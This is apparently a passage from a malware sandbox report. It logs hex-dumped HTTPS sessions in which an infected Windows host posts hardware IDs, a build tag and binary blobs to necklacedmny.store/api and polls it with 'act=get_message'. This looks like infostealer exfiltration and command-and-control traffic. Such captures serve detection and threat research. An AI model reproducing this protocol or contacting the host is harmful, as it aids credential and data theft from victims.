66 37 76 72 51 56 48 78 5a 62 2b 2f 62 5a 46 73 56 7a 79 47 4e 6f 51 71 4f 7a 7a 56 55 64 76 39 38 38 69 45 2f 41 32 76 66 6f 6c 2f 36 38 42 44 55 4f 52 6d 71 76 Data Ascii: 113EZKYt5nCRyNcEShLXK24PwAuJdgGP4wExR+im2sWufcht70jbRZj82y17c9fLKjuUCr3mEePzYTkj5Yqz8dtB6GzOANpIqNSqZCpzZ+NyOtSq6YoB06MFCVrZ25+Yy2HlXY8p23WcgN9hY1vjzwoHyAqRwjHbrxEBa8GKo+nHUfxkymDaSKjUqmQqc3+DMiftPjn+Rf7vrQVHxZb+/bZFsVzyGNoQqOzzVUdv988iE/A2vfol/68BDUORmqv
2024-10-31 23:39:41 UTC	1369	IN	Data Raw: 57 53 4c 4b 63 64 41 71 61 6e 4c 5a 56 74 44 32 2f 4d 4f 4c 2b 67 4b 6e 66 34 68 79 39 39 68 41 58 2f 35 6c 6f 66 4a 67 31 58 38 46 4d 6f 4e 37 30 6d 49 67 4d 5a 6b 63 6e 50 4c 6a 6a 64 79 33 50 36 70 33 69 32 37 30 78 51 39 46 75 48 44 70 2b 48 36 66 4c 56 63 70 6d 48 62 58 61 6a 55 38 79 31 50 55 2b 76 48 4e 67 76 77 48 6f 33 32 44 64 76 44 4d 54 6c 66 33 61 4b 6e 36 63 74 5a 6e 47 6e 76 45 4e 74 74 79 63 6d 71 5a 5a 64 44 2b 79 73 36 53 74 78 4c 75 62 63 64 2f 39 59 6f 58 47 76 64 37 70 50 64 32 33 33 67 52 4d 49 74 33 33 32 6f 79 4d 64 6c 58 31 2f 72 39 79 6f 6e 39 42 4b 6c 6d 6a 33 7a 72 79 6b 4e 65 74 69 66 70 2b 47 71 66 4c 56 63 4c 69 58 33 51 61 6a 38 6e 6d 55 32 53 37 4c 76 4b 69 4c 64 56 34 48 79 4d 63 2f 2f 42 54 46 6e 34 59 71 50 77 66 64 56 Data Ascii: WSLKcdAqanLZVtD2/MOL+gKnf4hy99hAX/5lofJg1X8FMoN70mIgMZkcnPLjjdy3P6p3i270xQ9FuHDp+H6fLVcpmHbXajU8y1PU+vHNgvwHo32DdvDMTlf3aKn6ctZnGnvENttycmqZZdD+ys6StxLubcd/9YoXGvd7pPd233gRMIt332oyMdlX1/r9yon9BKlmj3zrykNetifp+GqfLVcLiX3Qaj8nmU2S7LvKiLdV4HyMc//BTFn4YqPwfdV
2024-10-31 23:39:41 UTC	1369	IN	Data Raw: 48 66 52 59 54 35 77 32 46 2f 4d 38 72 75 44 78 50 46 4e 2b 43 54 4a 4f 50 33 62 44 77 4b 6d 4f 2f 4b 71 49 59 67 6c 52 53 54 45 62 35 78 38 63 6d 71 4c 48 4a 7a 6e 75 35 58 45 73 41 36 79 5a 6f 46 37 37 38 6b 49 5a 4d 68 4a 6f 76 4e 78 30 33 51 51 65 38 51 32 30 79 70 71 43 35 6c 52 7a 75 65 30 33 4a 4c 36 48 61 63 34 6a 32 6e 30 78 67 38 55 74 69 57 74 39 48 37 61 63 67 64 30 6d 47 62 58 5a 69 52 2b 33 55 43 63 75 37 76 63 6a 2f 67 66 72 6e 50 49 61 65 2f 48 58 31 6e 7a 62 75 58 33 59 39 4a 35 56 33 58 4b 59 39 64 6d 4e 44 2f 4d 48 63 33 6a 2b 4e 75 44 75 77 57 78 65 59 73 34 78 6f 51 50 51 72 59 78 36 63 70 78 30 58 73 51 4c 5a 73 37 2f 47 45 2b 4d 64 56 54 32 37 57 31 6a 59 4b 33 56 66 4d 36 78 33 7a 6f 69 68 63 4b 70 44 4c 38 72 43 57 50 4a 77 68 31 Data Ascii: HfRYT5w2F/M8ruDxPFN+CTJOP3bDwKmO/KqIYglRSTEb5x8cmqLHJznu5XEsA6yZoF778kIZMhJovNx03QQe8Q20ypqC5lRzue03JL6Hac4j2n0xg8UtiWt9H7acgd0mGbXZiR+3UCcu7vcj/gfrnPIae/HX1nzbuX3Y9J5V3XKY9dmND/MHc3j+NuDuwWxeYs4xoQPQrYx6cpx0XsQLZs7/GE+MdVT27W1jYK3VfM6x3zoihcKpDL8rCWPJwh1
2024-10-31 23:39:41 UTC	1369	IN	Data Raw: 78 79 61 6f 6f 63 6e 4f 65 37 6c 63 53 77 41 36 31 31 68 48 62 36 32 46 31 63 39 58 2b 71 75 45 7a 68 55 42 6f 32 6a 33 6a 62 56 41 77 54 30 30 4c 52 2b 76 7a 7a 75 73 41 63 70 32 54 46 58 76 72 63 54 42 71 34 4b 62 47 2f 4b 70 39 55 48 53 75 48 65 64 73 71 66 48 4c 64 45 6f 53 31 33 73 43 4a 38 67 4f 6e 4e 71 5a 79 36 63 64 41 58 62 59 6e 36 66 4d 79 68 7a 55 57 4d 5a 70 37 30 32 31 2b 4e 63 4e 56 6e 4c 75 37 77 38 53 76 54 61 46 2b 6c 33 58 32 7a 51 4e 63 2b 47 66 70 34 44 7a 47 4e 51 46 37 30 69 57 53 4b 69 42 79 67 52 4b 62 2b 2f 62 4d 68 2f 6b 4f 73 6d 61 42 65 2b 2f 4a 43 47 54 49 54 4b 54 79 64 39 46 79 4b 51 57 72 66 4d 78 6e 50 54 57 62 63 74 76 6a 2b 50 4f 36 77 42 79 6e 5a 4d 56 65 2b 74 78 4d 47 72 67 70 73 62 38 71 6e 31 51 64 4b 34 64 35 32 Data Ascii: xyaoocnOe7lcSwA611hHb62F1c9X+quEzhUBo2j3jbVAwT00LR+vzzusAcp2TFXvrcTBq4KbG/Kp9UHSuHedsqfHLdEoS13sCJ8gOnNqZy6cdAXbYn6fMyhzUWMZp7021+NcNVnLu7w8SvTaF+l3X2zQNc+Gfp4DzGNQF70iWSKiBygRKb+/bMh/kOsmaBe+/JCGTITKTyd9FyKQWrfMxnPTWbctvj+PO6wBynZMVe+txMGrgpsb8qn1QdK4d52

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	50078	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:39:42 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: necklacedmny.store
2024-10-31 23:39:42 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F64ABC92A356B4CB1D010CCA66106C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 23:39:42 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0dk583pevrtscm709ffet34rn9; expires=Mon, 24-Feb-2025 17:26:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TPI0z6P33B5OITeFS2ujspq90Qab3CwhSV8EGjzn1lEgVSNRJ%2BvIEyZom1F3orJcOaaiqxuLHFpoIVdvate%2BBHSID7enWJN9RSKZoY2ngrYnHOa7L7D7YrP%2BCJ9nbXJJa4ZUEGY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77c649bd40be2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1401&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13806&delivery_rate=1951482&cwnd=244&unsent_bytes=0&cid=5b0a01d80388d539&ts=526&x=0"
2024-10-31 23:39:42 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 23:39:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	50081	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:39:43 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: necklacedmny.store
2024-10-31 23:39:43 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F64ABC92A356B4CB1D010CCA66106C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 23:39:43 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jupbdk7v8k5uil77mhfmape7f1; expires=Mon, 24-Feb-2025 17:26:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aREs5jG2rRXC7bz0jEfagheFrMWd4z8iwB38TXFiyUm7Hj2YH0W16YVYSTZO%2FqJDPQ58t3UtgI9ptRrIblIFoIPeEIeOwGrmNQxgBWVBXhV5x8BAHZ%2BgKfmcoayMpvx%2BUqB9Yq8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77c6c1efd4662-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1273&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16052&delivery_rate=2154761&cwnd=251&unsent_bytes=0&cid=981aa331bc8b6483&ts=396&x=0"
2024-10-31 23:39:43 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 23:39:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	50082	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:39:44 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: necklacedmny.store
2024-10-31 23:39:44 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F64ABC92A356B4CB1D010CCA66106C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 23:39:44 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-31 23:39:45 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cn0g203vl3ukk68kb3ai6j0333; expires=Mon, 24-Feb-2025 17:26:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zIQLgLtF88TriTrhH8Rr1e2dR35ZBMAKJW6qKV6XV%2BXJsXK3VjWQgCCKt56tPYbtp9ZYYfM3sgkwxIGP2T4V9KhLZ%2BGk7qgQx01kyLcy7FhPsyGRVoSEMT9rtq1lplh0mnwza%2BA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77c72bbd64863-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1134&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2845&recv_bytes=20932&delivery_rate=2395368&cwnd=247&unsent_bytes=0&cid=7d5e42a8bbc5e92d&ts=656&x=0"
2024-10-31 23:39:45 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 23:39:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	50084	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:39:45 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1242 Host: necklacedmny.store
2024-10-31 23:39:45 UTC	1242	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F64ABC92A356B4CB1D010CCA66106C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 23:39:46 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4rocb04543d6gt63n4bvqndb7h; expires=Mon, 24-Feb-2025 17:26:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VZE0TBJ2RlE%2FVvrvrT5rRy7WQDMlbLEK6yCtl7aOgVven87UuiBvYEy%2FnMCASlnaWH6bWkmKbMj3ZoBHmLG2hjFxWl27sBiDHP08SEARVCXn%2B1P5ELjzuXOCzjCJVe2QzhAOHQo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77c7aec9c2877-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1367&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2161&delivery_rate=2113868&cwnd=251&unsent_bytes=0&cid=019c4ac0ac161af1&ts=487&x=0"
2024-10-31 23:39:46 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 23:39:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	50085	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:39:47 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 22785 Host: necklacedmny.store
2024-10-31 23:39:47 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"F64ABC92A356B4CB1D010CCA66106C85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 23:39:47 UTC	7454	OUT	Data Raw: 17 39 da 39 25 ba 72 2c a6 76 31 fb 42 7b 29 2f b8 8a 77 ba f4 fd 4d 7c 04 d1 e0 4d 5b cc ab 36 86 ae 01 fe b8 b8 17 9c 00 87 a5 9d ae 35 3b 9e 0f 96 84 2a 9e f2 a5 1e b1 0d 90 7e 05 8a 76 01 fd 9d 71 3d bb 60 f9 1e 6f f9 1b b5 e2 47 cb 4d 8a 37 85 97 b6 15 30 09 bc 8f 66 16 d6 16 0d 08 28 2d 2e e8 e6 cc 35 ee 6a c9 31 a9 5f d3 06 81 43 43 7b a1 53 01 cd ac 5a 32 78 bc 27 74 c4 39 93 76 ba 55 14 46 86 88 a1 9f 6e 78 09 6d a6 8e 86 b2 fa db 46 d4 1c 63 5a 8b b4 1a a6 be 96 8a a4 18 a7 a6 61 25 83 1e 3d 61 2e 4d fd c5 58 29 b7 d1 77 e8 0a d4 40 69 60 c7 72 93 65 58 16 0b de 04 5b 57 31 09 46 96 67 b1 f2 d8 a5 ec e0 80 53 4c 39 c0 61 ef ea 62 4c fb 00 44 d9 0d 6f e8 36 82 df 0d 25 3b 29 77 79 27 f2 70 d6 5c 4e 92 c6 8f 8b 07 2f 91 43 9e 96 b5 d3 2a 76 c3 2d Data Ascii: 99%r,v1B{)/wM\|M[65;~vq=`oGM70f(-.5j1_CC{SZ2x't9vUFnxmFcZa%=a.MX)w@i`reX[W1FgSL9abLDo6%;)wy'p\N/Cv-
2024-10-31 23:39:47 UTC	1013	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tqq16coid4p5gefl6q9i4u8d6p; expires=Mon, 24-Feb-2025 17:26:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CNO4IfObHkHKwM3C0bP0cNXSlySeVF5fyAS5BktGQuwI02NyDrZ75zDiqMPNr1g74fBtZiZWCmXhztesiKhuc0%2F9gbkMxl9VCkblJxVkpCC5LNSkPE5bUyfeHyl5unYvBTNUkAw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77c83bffa3177-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1175&sent=13&recv=29&lost=0&retrans=0&sent_bytes=2845&recv_bytes=23749&delivery_rate=2421404&cwnd=250&unsent_bytes=0&cid=dc4cb12373cfad37&ts=601&x=0"
2024-10-31 23:39:47 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 23:39:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	50089	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:39:48 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 23:39:48 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=F64ABC92A356B4CB1D010CCA66106C85
2024-10-31 23:39:48 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=joj0e6qshgiqnsieuqh2u509qe; expires=Mon, 24-Feb-2025 17:26:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y0QOZjmyJwoHxiV0zuYNGBojIF4m%2F7gDz3s%2F41Y9Amh61xpM1riEMloDVwMXhh%2BWhTNr%2FDBEql6zwBpqQaSqkLTFfAszD%2BQV5cH7tTNBPGHj5%2F4Wz%2BPAGY5iOCTDs58yudjaFmE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77c8b3817486b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1156&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=2377668&cwnd=237&unsent_bytes=0&cid=e5e157e6711bc9a2&ts=493&x=0"
